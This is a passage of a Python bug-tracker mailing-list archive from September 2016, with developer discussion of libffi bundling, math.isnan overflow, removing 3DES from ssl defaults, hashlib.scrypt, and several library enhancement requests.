Here's a patch that deprecates building _ctypes with the bundled copy of libffi (Modules/_ctypes/libffi/).  The default on all platforms (other than Windows) is now to use a system copy of libffi; use the '--without-system-ffi' flag to ./configure to use the bundled copy.  On non-Darwin platforms, a warning will be emitted noting that Modules/_ctypes/libffi will not be distributed with 3.7.

----------
components: Build
files: deprecate_bundled_libffi.diff
keywords: patch
messages: 274576
nosy: Arfrever, Chi Hsuan Yen, berker.peksag, chris.jerdonek, doko, fabiovmp, gustavotemple, koobs, lemburg, meador.inge, ned.deily, r.david.murray, steve.dower, tim.golden, xdegaye, zach.ware
priority: normal
severity: normal
stage: patch review
status: open
title: Deprecate building with bundled copy of libffi on non-Darwin POSIX platforms
type: enhancement
versions: Python 3.6
Added file: http://bugs.python.org/file44399/deprecate_bundled_libffi.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27976>
_______________________________________

From report at bugs.python.org  Tue Sep  6 13:57:39 2016
From: report at bugs.python.org (Zachary Ware)
Date: Tue, 06 Sep 2016 17:57:39 +0000
Subject: [issue27976] Deprecate building with bundled copy of libffi on
 non-Darwin POSIX platforms
In-Reply-To: <1473184582.63.0.0787669758902.issue27976@psf.upfronthosting.co.za>
Message-ID: <1473184659.93.0.811533777038.issue27976@psf.upfronthosting.co.za>


Changes by Zachary Ware <zachary.ware at gmail.com>:


----------
components: +ctypes

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27976>
_______________________________________

From report at bugs.python.org  Tue Sep  6 13:58:37 2016
From: report at bugs.python.org (Zachary Ware)
Date: Tue, 06 Sep 2016 17:58:37 +0000
Subject: [issue23085] update internal libffi copy to 3.2.1
In-Reply-To: <1418922803.63.0.55729998299.issue23085@psf.upfronthosting.co.za>
Message-ID: <1473184717.0.0.745981789525.issue23085@psf.upfronthosting.co.za>


Zachary Ware added the comment:

I'm closing this as superseded by #27976, which deprecates building with the bundled libffi.

----------
resolution:  -> rejected
stage:  -> resolved
status: open -> closed
superseder:  -> Deprecate building with bundled copy of libffi on non-Darwin POSIX platforms

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23085>
_______________________________________

From report at bugs.python.org  Tue Sep  6 13:59:08 2016
From: report at bugs.python.org (Mark Dickinson)
Date: Tue, 06 Sep 2016 17:59:08 +0000
Subject: [issue27975] math.isnan(int) and math.isinf(int) should not raise
 OverflowError
In-Reply-To: <1473181473.32.0.514007439316.issue27975@psf.upfronthosting.co.za>
Message-ID: <1473184748.64.0.049805574679.issue27975@psf.upfronthosting.co.za>


Mark Dickinson added the comment:

> It shouldn't be hard to do the equivalent of:

Right, that's not hard at all. But is it what we *want* to do? Why do you single out `int` for special treatment, but not `Fraction` or `Decimal`? How should the implementation handle Fraction objects, and why? How should the implementation handle a Fraction-like object implemented by a user? Why only objects of exact type `int`, but not instances of subclasses? Your suggestion replaces a straightforward mental model (math.isnan converts its input to float, then operates on it, just like almost all other math module functions) with something more complicated.

-1 from me.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27975>
_______________________________________

From report at bugs.python.org  Tue Sep  6 14:00:19 2016
From: report at bugs.python.org (Benjamin Peterson)
Date: Tue, 06 Sep 2016 18:00:19 +0000
Subject: [issue17884] Try to reuse stdint.h types like int32_t
In-Reply-To: <1367362366.81.0.489465512002.issue17884@psf.upfronthosting.co.za>
Message-ID: <1473184819.31.0.59261324085.issue17884@psf.upfronthosting.co.za>


Benjamin Peterson added the comment:

In 3.6, I just deprecated support for platforms without "long long". https://bugs.python.org/issue27961 "deprecated" is a strong word because I couldn't actually find a modern Python version that compiles without it. I'm informed that the MSVC we're since 3.5 will have stdint.h available. I think we should start requiring it.

----------
nosy: +benjamin.peterson

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue17884>
_______________________________________

From report at bugs.python.org  Tue Sep  6 14:00:43 2016
From: report at bugs.python.org (Mark Dickinson)
Date: Tue, 06 Sep 2016 18:00:43 +0000
Subject: [issue27975] math.isnan(int) and math.isinf(int) should not raise
 OverflowError
In-Reply-To: <1473181473.32.0.514007439316.issue27975@psf.upfronthosting.co.za>
Message-ID: <1473184843.97.0.239501132406.issue27975@psf.upfronthosting.co.za>


Mark Dickinson added the comment:

> As a convenience for whom?

I was referring to the general math module model. Being able to type `sqrt(2)` rather than having to type `sqrt(float(2))` or `sqrt(2.0)` is a convenience.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27975>
_______________________________________

From report at bugs.python.org  Tue Sep  6 14:01:27 2016
From: report at bugs.python.org (Christian Heimes)
Date: Tue, 06 Sep 2016 18:01:27 +0000
Subject: [issue17884] Try to reuse stdint.h types like int32_t
In-Reply-To: <1367362366.81.0.489465512002.issue17884@psf.upfronthosting.co.za>
Message-ID: <1473184887.02.0.952718682109.issue17884@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
nosy: +christian.heimes

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue17884>
_______________________________________

From report at bugs.python.org  Tue Sep  6 14:06:03 2016
From: report at bugs.python.org (Xavier de Gaye)
Date: Tue, 06 Sep 2016 18:06:03 +0000
Subject: [issue27323] ncurses putwin() fails in test_module_funcs
In-Reply-To: <1465978511.0.0.353969305887.issue27323@psf.upfronthosting.co.za>
Message-ID: <1473185163.04.0.811493136376.issue27323@psf.upfronthosting.co.za>


Xavier de Gaye added the comment:

> Just wondering, how you built Python with ncurses 6.0 Xavier?

I am using archlinux ncurses 6.0 [1] (sorry for the delay, no internet on a sail crossing).

[1] https://www.archlinux.org/packages/core/x86_64/ncurses/

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27323>
_______________________________________

From report at bugs.python.org  Tue Sep  6 14:12:07 2016
From: report at bugs.python.org (Roundup Robot)
Date: Tue, 06 Sep 2016 18:12:07 +0000
Subject: [issue27850] Remove 3DES from cipher list (sweet32 CVE-2016-2183)
In-Reply-To: <1472046228.4.0.176948453237.issue27850@psf.upfronthosting.co.za>
Message-ID: <20160906181202.23482.51034.1C1D344F@psf.io>


Roundup Robot added the comment:

New changeset d2111109fd77 by Christian Heimes in branch '3.5':
Issues #27850 and #27766: Remove 3DES from ssl default cipher list and add ChaCha20 Poly1305.
https://hg.python.org/cpython/rev/d2111109fd77

New changeset 6f4f19217d9b by Christian Heimes in branch '2.7':
Issues #27850 and #27766: Remove 3DES from ssl default cipher list and add ChaCha20 Poly1305.
https://hg.python.org/cpython/rev/6f4f19217d9b

New changeset f586742e56cb by Christian Heimes in branch 'default':
Issues #27850 and #27766: Remove 3DES from ssl default cipher list and add ChaCha20 Poly1305.
https://hg.python.org/cpython/rev/f586742e56cb

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27850>
_______________________________________

From report at bugs.python.org  Tue Sep  6 14:12:07 2016
From: report at bugs.python.org (Roundup Robot)
Date: Tue, 06 Sep 2016 18:12:07 +0000
Subject: [issue27766] Add ChaCha20 Poly1305 to SSL ciphers
In-Reply-To: <1471251462.7.0.145357415362.issue27766@psf.upfronthosting.co.za>
Message-ID: <20160906181202.23482.11272.12B25A83@psf.io>


Roundup Robot added the comment:

New changeset d2111109fd77 by Christian Heimes in branch '3.5':
Issues #27850 and #27766: Remove 3DES from ssl default cipher list and add ChaCha20 Poly1305.
https://hg.python.org/cpython/rev/d2111109fd77

New changeset 6f4f19217d9b by Christian Heimes in branch '2.7':
Issues #27850 and #27766: Remove 3DES from ssl default cipher list and add ChaCha20 Poly1305.
https://hg.python.org/cpython/rev/6f4f19217d9b

New changeset f586742e56cb by Christian Heimes in branch 'default':
Issues #27850 and #27766: Remove 3DES from ssl default cipher list and add ChaCha20 Poly1305.
https://hg.python.org/cpython/rev/f586742e56cb

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27766>
_______________________________________

From report at bugs.python.org  Tue Sep  6 14:12:44 2016
From: report at bugs.python.org (Christian Heimes)
Date: Tue, 06 Sep 2016 18:12:44 +0000
Subject: [issue27850] Remove 3DES from cipher list (sweet32 CVE-2016-2183)
In-Reply-To: <1472046228.4.0.176948453237.issue27850@psf.upfronthosting.co.za>
Message-ID: <1473185564.15.0.116305279314.issue27850@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
stage:  -> commit review

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27850>
_______________________________________

From report at bugs.python.org  Tue Sep  6 14:15:36 2016
From: report at bugs.python.org (Christian Heimes)
Date: Tue, 06 Sep 2016 18:15:36 +0000
Subject: [issue27850] Remove 3DES from cipher list (sweet32 CVE-2016-2183)
In-Reply-To: <1472046228.4.0.176948453237.issue27850@psf.upfronthosting.co.za>
Message-ID: <1473185736.52.0.0359503170678.issue27850@psf.upfronthosting.co.za>


Christian Heimes added the comment:

Larry, Georg

I haven't pushed the new cipher suite list to 3.3 and 3.4 yet. It can break compatibility with ancient IE versions on Windows XP machines. The risk of 3DES is small for a typical application.

----------
nosy: +georg.brandl, larry

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27850>
_______________________________________

From report at bugs.python.org  Tue Sep  6 14:17:13 2016
From: report at bugs.python.org (Christian Heimes)
Date: Tue, 06 Sep 2016 18:17:13 +0000
Subject: [issue27766] Add ChaCha20 Poly1305 to SSL ciphers
In-Reply-To: <1471251462.7.0.145357415362.issue27766@psf.upfronthosting.co.za>
Message-ID: <1473185833.3.0.529778595962.issue27766@psf.upfronthosting.co.za>


Christian Heimes added the comment:

See #27850. ChaCha20 is even less relevant for 3.3 an 3.4. It either requires LibreSSL, patch #26470 or a patched OpenSSL installation.

----------
nosy: +georg.brandl, larry
stage:  -> commit review

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27766>
_______________________________________

From report at bugs.python.org  Tue Sep  6 14:18:24 2016
From: report at bugs.python.org (Tim Peters)
Date: Tue, 06 Sep 2016 18:18:24 +0000
Subject: [issue27975] math.isnan(int) and math.isinf(int) should not raise
 OverflowError
In-Reply-To: <1473181473.32.0.514007439316.issue27975@psf.upfronthosting.co.za>
Message-ID: <1473185904.87.0.621512440585.issue27975@psf.upfronthosting.co.za>


Tim Peters added the comment:

The only sane way to do things "like this" is to allow types to define their own special methods (like `__isnan__()`), in which case the math module defers to such methods when they exist.  For example, this is how `math.ceil(Fraction)` works, by deferring to `Fraction.__ceil__()`.  The math module itself knows nothing else about what `ceil(Fraction)` could possibly mean.  All it knows is "if the type has __ceil__ use that, else convert to float first".

I'm also -1 on adding masses of if/else if/else if/.../else constructs to the math module to build in knowledge of the builtin numeric types.  Do it "right" or not at all.

I'd just be -0 on adding masses of new __isnan__, __isinf__, ..., special methods.  They're just not useful enough often enough.

----------
nosy: +tim.peters

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27975>
_______________________________________

From report at bugs.python.org  Tue Sep  6 14:19:17 2016
From: report at bugs.python.org (Larry Hastings)
Date: Tue, 06 Sep 2016 18:19:17 +0000
Subject: [issue27850] Remove 3DES from cipher list (sweet32 CVE-2016-2183)
In-Reply-To: <1472046228.4.0.176948453237.issue27850@psf.upfronthosting.co.za>
Message-ID: <1473185957.98.0.700424073923.issue27850@psf.upfronthosting.co.za>


Larry Hastings added the comment:

I don't think "remove de-recommended cypher" qualifies as a security fix for 3.3 or 3.4.  Certainly you're not permitted to add ChaCha20 to 3.3 or 3.4.  IMO these changes should only be in 2.7 and 3.5+.

----------
versions:  -Python 3.3, Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27850>
_______________________________________

From report at bugs.python.org  Tue Sep  6 14:19:30 2016
From: report at bugs.python.org (Patrik Dufresne)
Date: Tue, 06 Sep 2016 18:19:30 +0000
Subject: [issue14119] Ability to adjust queue size in Executors
In-Reply-To: <1330129142.34.0.452763799677.issue14119@psf.upfronthosting.co.za>
Message-ID: <1473185970.82.0.268270153662.issue14119@psf.upfronthosting.co.za>


Patrik Dufresne added the comment:

Any update on this subject ?

Also had to monkey patch the implementation to avoid consuming all the system memory.

----------
nosy: +Patrik Dufresne

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue14119>
_______________________________________

From report at bugs.python.org  Tue Sep  6 14:23:59 2016
From: report at bugs.python.org (Roundup Robot)
Date: Tue, 06 Sep 2016 18:23:59 +0000
Subject: [issue27928] Add hashlib.scrypt
In-Reply-To: <1472732959.81.0.0491310720646.issue27928@psf.upfronthosting.co.za>
Message-ID: <20160906182354.9820.8807.7CC24600@psf.io>


Roundup Robot added the comment:

New changeset d926fa1a833c by Christian Heimes in branch 'default':
Issue #27928: Add scrypt (password-based key derivation function) to hashlib module (requires OpenSSL 1.1.0).
https://hg.python.org/cpython/rev/d926fa1a833c

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27928>
_______________________________________

From report at bugs.python.org  Tue Sep  6 14:32:06 2016
From: report at bugs.python.org (Donald Stufft)
Date: Tue, 06 Sep 2016 18:32:06 +0000
Subject: [issue27850] Remove 3DES from cipher list (sweet32 CVE-2016-2183)
In-Reply-To: <1472046228.4.0.176948453237.issue27850@psf.upfronthosting.co.za>
Message-ID: <1473186726.28.0.379014635282.issue27850@psf.upfronthosting.co.za>


Donald Stufft added the comment:

> I don't think "remove de-recommended cypher" qualifies as a security fix for 3.3 or 3.4.  Certainly you're not permitted to add ChaCha20 to 3.3 or 3.4

I think that this is a bad stance to take here. The difference between a security feature and a security fix is incredibly hard to differentiate. For instance, with 3DES being de-recommended (and removed in future OpenSSLs) that leaves basically only AES-GCM and AES-CBC left as a secure cipher. This is a very precarious position to be in because all it takes is some reason that these constructions are less secure (it doesn't even have to be an attack on AES itself, could just be the way TLS uses it) and suddenly 3.3 and 3.4 don't have *any* secure ciphers. It is important from a security standpoint to have multiple secure ciphers available with different implementation details to protect against problems in one of them from causing widespread harm.

As far as removing 3DES, I think that we need to either remove it or we need to implement protections to prevent it from being used for too much data. 3DES isn't insecure so much as it's so old that you can only safely encrypt so much data with it with a single TLS key (Key == Connection roughly) before it becomes insecure. This is likely to hit automated tooling worse because it only affects things that hold long lived connections or re-use TLS session keys for a long period of time and a lot of tooling does just that for performance reasons.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27850>
_______________________________________

From report at bugs.python.org  Tue Sep  6 14:33:57 2016
From: report at bugs.python.org (Patrik Dufresne)
Date: Tue, 06 Sep 2016 18:33:57 +0000
Subject: [issue21009] Potential deadlock in concurrent futures when garbage
 collection occurs during Queue.get
In-Reply-To: <1395416846.85.0.759574712799.issue21009@psf.upfronthosting.co.za>
Message-ID: <1473186837.55.0.897003608037.issue21009@psf.upfronthosting.co.za>


Patrik Dufresne added the comment:

I've encounter this issue. To easily avoid this issue, I've change `queue.put(None)` to `queue.put(None, block=False)` to work around this.

----------
nosy: +Patrik Dufresne

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21009>
_______________________________________

From report at bugs.python.org  Tue Sep  6 14:34:12 2016
From: report at bugs.python.org (Steven D'Aprano)
Date: Tue, 06 Sep 2016 18:34:12 +0000
Subject: [issue27975] math.isnan(int) and math.isinf(int) should not raise
 OverflowError
In-Reply-To: <1473184748.64.0.049805574679.issue27975@psf.upfronthosting.co.za>
Message-ID: <20160906183406.GA26300@ando.pearwood.info>


Steven D'Aprano added the comment:

On Tue, Sep 06, 2016 at 05:59:08PM +0000, Mark Dickinson wrote:
> Why do you single out `int` for special treatment, 

Mostly as a demonstration for what could be done, not necessarily as 
what should be done. Secondly as a potential optimization. Why go to the 
expense of converting something to a float when there's a much 
cheaper(?) test?

> but not `Fraction` or `Decimal`?

They're not built-ins. They would have to be imported first, before you 
can test for their types. That could be costly, and it would rarely be 
necessary.

> How should the implementation handle Fraction objects, and why?

If some hypothetical subclass of Fraction provides a NAN or INF value, 
trust that float(x) of those values will return a float NAN or INF. If 
the conversion overflows, the value isn't a NAN or INF.

> How should the implementation handle a Fraction-like object 
> implemented by a user?

As above.

> Why only objects of exact type `int`, but not instances of subclasses?

Subclass of int might hypothetically implement their own NAN or INF 
values. In which case, trust that MyInt('nan').__float__() will return a 
NAN float as it is supposed to.

> Your suggestion replaces a straightforward 
> mental model (math.isnan converts its input to float, then operates on 
> it, just like almost all other math module functions) with something 
> more complicated.

Not more complicated. An even more simple *model*. The existing model 
for (let's say isnan):

"Convert the number x to a float, which may Overflow, then return 
whether the float is a NAN."

Versus the even simpler model:

"Return whether the number x is a NAN."

(Which of course hides a more complex *implementation*.)

Versus the practice of pushing the complexity onto the users:

"Oh gods, what sort of number is my x? If I pass it to math.isnan, will 
it blow up? Better wrap it in a try...except ValueError just in case. 
[Later] Ah, dammit, I meant OverflowError! Oh no, is there an 
UnderflowError for Fractions?"

I guess the argument boils down to whether we want to prioritise 
simplicity or usefulness in the math module.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27975>
_______________________________________

From report at bugs.python.org  Tue Sep  6 14:34:13 2016
From: report at bugs.python.org (Eryk Sun)
Date: Tue, 06 Sep 2016 18:34:13 +0000
Subject: [issue27971] utf-16 decoding can't handle lone surrogates
In-Reply-To: <1473155983.16.0.820045644056.issue27971@psf.upfronthosting.co.za>
Message-ID: <1473186853.38.0.910017694825.issue27971@psf.upfronthosting.co.za>


Eryk Sun added the comment:

Victor, it seems the only option here (other than closing this as won't fix) is to modify the UTF-16 decoder in 2.7 to allow lone surrogates, which would be consistent with the UTF-8 and UTF-32 decoders. While it's too late to enforce strict compliance in 2.7, it shouldn't hurt to expand the domain of acceptable encodings. Then if surrogates are always passed in 2.7, a silently ignored "surrogatepass" handler could be added for compatibility with 3.x code.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27971>
_______________________________________

From report at bugs.python.org  Tue Sep  6 14:34:57 2016
From: report at bugs.python.org (Christian Heimes)
Date: Tue, 06 Sep 2016 18:34:57 +0000
Subject: [issue27850] Remove 3DES from cipher list (sweet32 CVE-2016-2183)
In-Reply-To: <1472046228.4.0.176948453237.issue27850@psf.upfronthosting.co.za>
Message-ID: <1473186897.98.0.880614648199.issue27850@psf.upfronthosting.co.za>


Christian Heimes added the comment:

Donald, my OpenSSL 1.1.0 patch hasn't landed in 3.3 and 3.4 either. It's a bit mood to discuss ChaCha20 w/o OpenSSL 1.1.0. Rich Salz doesn't want to include ChaCha20 suites in 1.0.2 upstream. You either have to patch and build OpenSSL yourself or use LibreSSL.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27850>
_______________________________________

From report at bugs.python.org  Tue Sep  6 14:37:11 2016
From: report at bugs.python.org (Donald Stufft)
Date: Tue, 06 Sep 2016 18:37:11 +0000
Subject: [issue27850] Remove 3DES from cipher list (sweet32 CVE-2016-2183)
In-Reply-To: <1472046228.4.0.176948453237.issue27850@psf.upfronthosting.co.za>
Message-ID: <1473187031.45.0.279320543022.issue27850@psf.upfronthosting.co.za>


Donald Stufft added the comment:

We should backport OpenSSL 1.1.0 too *shrug*.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27850>
_______________________________________

From report at bugs.python.org  Tue Sep  6 14:43:24 2016
From: report at bugs.python.org (Mark Dickinson)
Date: Tue, 06 Sep 2016 18:43:24 +0000
Subject: [issue27975] math.isnan(int) and math.isinf(int) should not raise
 OverflowError
In-Reply-To: <1473181473.32.0.514007439316.issue27975@psf.upfronthosting.co.za>
Message-ID: <1473187404.06.0.962565645368.issue27975@psf.upfronthosting.co.za>


Mark Dickinson added the comment:

[Steven]
> Versus the even simpler model:
> "Return whether the number x is a NAN."

But what you're proposing doesn't match that description! Under your proposal, `math.isnan(10**1000)` would be `False`, but `math.isnan(Fraction(10**1000))` would again raise an `OverflowError`, as would `math.isnan(Decimal('1e500'))`.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27975>
_______________________________________

From report at bugs.python.org  Tue Sep  6 14:43:52 2016
From: report at bugs.python.org (R. David Murray)
Date: Tue, 06 Sep 2016 18:43:52 +0000
Subject: [issue27977] smtplib send_message does not correctly handle unicode
 addresses if message uses EmailPolicy
Message-ID: <1473187432.3.0.265909297314.issue27977@psf.upfronthosting.co.za>


New submission from R. David Murray:

In rewriting the examples in the email docs to use the new policies, I discovered that smtplib has a bug when handling a message that uses an EmailPolicy derived policy if the addresses contain unicode characters.  Currently it is extracting the addresses as unicode strings instead of transport encoded strings.  It needs a special case to handle EmailPolicy Messages.

----------
components: email
messages: 274597
nosy: barry, r.david.murray
priority: normal
severity: normal
stage: needs patch
status: open
title: smtplib send_message does not correctly handle unicode addresses if message uses EmailPolicy
type: behavior
versions: Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27977>
_______________________________________

From report at bugs.python.org  Tue Sep  6 14:48:45 2016
From: report at bugs.python.org (Mark Dickinson)
Date: Tue, 06 Sep 2016 18:48:45 +0000
Subject: [issue27975] math.isnan(int) and math.isinf(int) should not raise
 OverflowError
In-Reply-To: <1473181473.32.0.514007439316.issue27975@psf.upfronthosting.co.za>
Message-ID: <1473187725.47.0.886661075125.issue27975@psf.upfronthosting.co.za>


Mark Dickinson added the comment:

> as would `math.isnan(Decimal('1e500'))`

Whoops, no. I'd forgotten that large finite `Decimal` objects end up as `float` infinities under conversion. Not sure I like that much, but it is what it is ...

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27975>
_______________________________________

From report at bugs.python.org  Tue Sep  6 14:49:39 2016
From: report at bugs.python.org (Patrik Dufresne)
Date: Tue, 06 Sep 2016 18:49:39 +0000
Subject: [issue27978] Executor#shutdown with timeout
Message-ID: <1473187779.38.0.526925636347.issue27978@psf.upfronthosting.co.za>


New submission from Patrik Dufresne:

Would be nice to add a new parameter to timeout if the shutdown take too long.


    def shutdown(self, wait=True, timeout=None):
        with self._shutdown_lock:
            self._shutdown = True
            self._work_queue.put(None)
        if wait:
            for t in self._threads:
                start = time.time()
                t.join(timeout)
                timeout = timeout + start - time.time()

----------
components: Library (Lib)
messages: 274599
nosy: Patrik Dufresne
priority: normal
severity: normal
status: open
title: Executor#shutdown with timeout
type: enhancement
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27978>
_______________________________________

From report at bugs.python.org  Tue Sep  6 14:53:39 2016
From: report at bugs.python.org (Zachary Ware)
Date: Tue, 06 Sep 2016 18:53:39 +0000
Subject: [issue27979] Remove bundled libffi
Message-ID: <1473188019.08.0.865772494221.issue27979@psf.upfronthosting.co.za>


New submission from Zachary Ware:

The attached patch allows the bundled libffi used in non-Darwin POSIX builds (Modules/_ctypes/libffi, along with Modules/_ctypes/libffi.diff) to be removed.  It depends on the patch in #27976, and does not affect OSX or Windows.

----------
components: Build, ctypes
files: remove_bundled_libffi.diff
keywords: patch
messages: 274600
nosy: zach.ware
priority: normal
severity: normal
stage: patch review
status: open
title: Remove bundled libffi
type: enhancement
versions: Python 3.7
Added file: http://bugs.python.org/file44400/remove_bundled_libffi.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27979>
_______________________________________

From report at bugs.python.org  Tue Sep  6 14:54:54 2016
From: report at bugs.python.org (Zachary Ware)
Date: Tue, 06 Sep 2016 18:54:54 +0000
Subject: [issue27979] Remove bundled libffi
In-Reply-To: <1473188019.08.0.865772494221.issue27979@psf.upfronthosting.co.za>
Message-ID: <1473188094.23.0.298202491687.issue27979@psf.upfronthosting.co.za>


Changes by Zachary Ware <zachary.ware at gmail.com>:


----------
dependencies: +Deprecate building with bundled copy of libffi on non-Darwin POSIX platforms

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27979>
_______________________________________

From report at bugs.python.org  Tue Sep  6 14:58:29 2016
From: report at bugs.python.org (Roundup Robot)
Date: Tue, 06 Sep 2016 18:58:29 +0000
Subject: [issue17884] Try to reuse stdint.h types like int32_t
In-Reply-To: <1367362366.81.0.489465512002.issue17884@psf.upfronthosting.co.za>
Message-ID: <20160906185824.9581.3760.FA642EA8@psf.io>


Roundup Robot added the comment:

New changeset ae03163b6378 by Benjamin Peterson in branch 'default':
require standard int types to be defined (#17884)
https://hg.python.org/cpython/rev/ae03163b6378

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue17884>
_______________________________________

From report at bugs.python.org  Tue Sep  6 15:00:40 2016
From: report at bugs.python.org (Mark Summerfield)
Date: Tue, 06 Sep 2016 19:00:40 +0000
Subject: [issue27980] Add better pythonw support to py launcher
Message-ID: <1473188440.88.0.613793124058.issue27980@psf.upfronthosting.co.za>


New submission from Mark Summerfield:

The excellent py.exe launcher on Windows always uses a python.exe interpreter (although another issue suggests it will use pythonw.exe when the python file has a .pyw suffix which is good).

However, if one wanted to provide a .bat file like this:

@echo off
pushd %~dp0
py -3 MyGuiApp.pyw %*
popd

python.exe would be used rather than pythonw.exe.

My suggestion is to add a -w and/or --win(dows) flag which forces the use of pythonw.exe.

----------
components: Windows
messages: 274602
nosy: mark, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: Add better pythonw support to py launcher
type: enhancement
versions: Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27980>
_______________________________________

From report at bugs.python.org  Tue Sep  6 15:01:30 2016
From: report at bugs.python.org (Zachary Ware)
Date: Tue, 06 Sep 2016 19:01:30 +0000
Subject: [issue27980] Add better pythonw support to py launcher
In-Reply-To: <1473188440.88.0.613793124058.issue27980@psf.upfronthosting.co.za>
Message-ID: <1473188490.18.0.744671348386.issue27980@psf.upfronthosting.co.za>


Zachary Ware added the comment:

pyw.exe is installed alongside py.exe, is it insufficient?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27980>
_______________________________________

From report at bugs.python.org  Tue Sep  6 15:05:35 2016
From: report at bugs.python.org (Mark Dickinson)
Date: Tue, 06 Sep 2016 19:05:35 +0000
Subject: [issue17884] Try to reuse stdint.h types like int32_t
In-Reply-To: <1367362366.81.0.489465512002.issue17884@psf.upfronthosting.co.za>
Message-ID: <1473188735.16.0.934345033435.issue17884@psf.upfronthosting.co.za>


Mark Dickinson added the comment:

LVGTM, if the buildbots agree.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue17884>
_______________________________________

From report at bugs.python.org  Tue Sep  6 15:08:16 2016
From: report at bugs.python.org (Roundup Robot)
Date: Tue, 06 Sep 2016 19:08:16 +0000
Subject: [issue27078] Make f'' strings faster than .format: BUILD_STRING
 opcode?
In-Reply-To: <1463858316.54.0.292581402272.issue27078@psf.upfronthosting.co.za>
Message-ID: <20160906190813.22226.95103.DE707206@psf.io>


Roundup Robot added the comment:

New changeset 28e280915508 by Serhiy Storchaka in branch 'default':
Issue #27078: Added BUILD_STRING opcode.  Optimized f-strings evaluation.
https://hg.python.org/cpython/rev/28e280915508

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27078>
_______________________________________

From report at bugs.python.org  Tue Sep  6 15:09:59 2016
From: report at bugs.python.org (Eryk Sun)
Date: Tue, 06 Sep 2016 19:09:59 +0000
Subject: [issue27980] Add better pythonw support to py launcher
In-Reply-To: <1473188440.88.0.613793124058.issue27980@psf.upfronthosting.co.za>
Message-ID: <1473188999.2.0.138118981431.issue27980@psf.upfronthosting.co.za>


Eryk Sun added the comment:

py.exe is a console application. There's no point in using it to run pythonw.exe. Use pyw.exe, as Zachary suggests. Or better yet, just run `MyGuiApp.pyw %*`. Unless you've reconfigured the .pyw file association, it should run via pyw.exe.

----------
nosy: +eryksun
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27980>
_______________________________________

From report at bugs.python.org  Tue Sep  6 15:18:43 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Tue, 06 Sep 2016 19:18:43 +0000
Subject: [issue17884] Try to reuse stdint.h types like int32_t
In-Reply-To: <1367362366.81.0.489465512002.issue17884@psf.upfronthosting.co.za>
Message-ID: <1473189523.58.0.542825995368.issue17884@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Python/dtoa.c contains a number of "#ifdef ULLong". Since now ULLong is not a macro but a typedef, this condition is false and the compiler now compiles different (less efficient and perhaps less tested) branch of the code.

----------
nosy: +serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue17884>
_______________________________________

From report at bugs.python.org  Tue Sep  6 15:23:54 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Tue, 06 Sep 2016 19:23:54 +0000
Subject: [issue27078] Make f'' strings faster than .format: BUILD_STRING
 opcode?
In-Reply-To: <1463858316.54.0.292581402272.issue27078@psf.upfronthosting.co.za>
Message-ID: <1473189834.21.0.0802515585167.issue27078@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Thank you for your review Eric. I considered passing NULL, but as Antti said, it is already used for space separated concatenation. PyUnicode_New(0, 0) is the obvious way to get an empty string, and I think it is fast enough. If this affects performance we can add additional microoptimization later.

----------
resolution:  -> fixed
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27078>
_______________________________________

From report at bugs.python.org  Tue Sep  6 15:30:14 2016
From: report at bugs.python.org (Mark Dickinson)
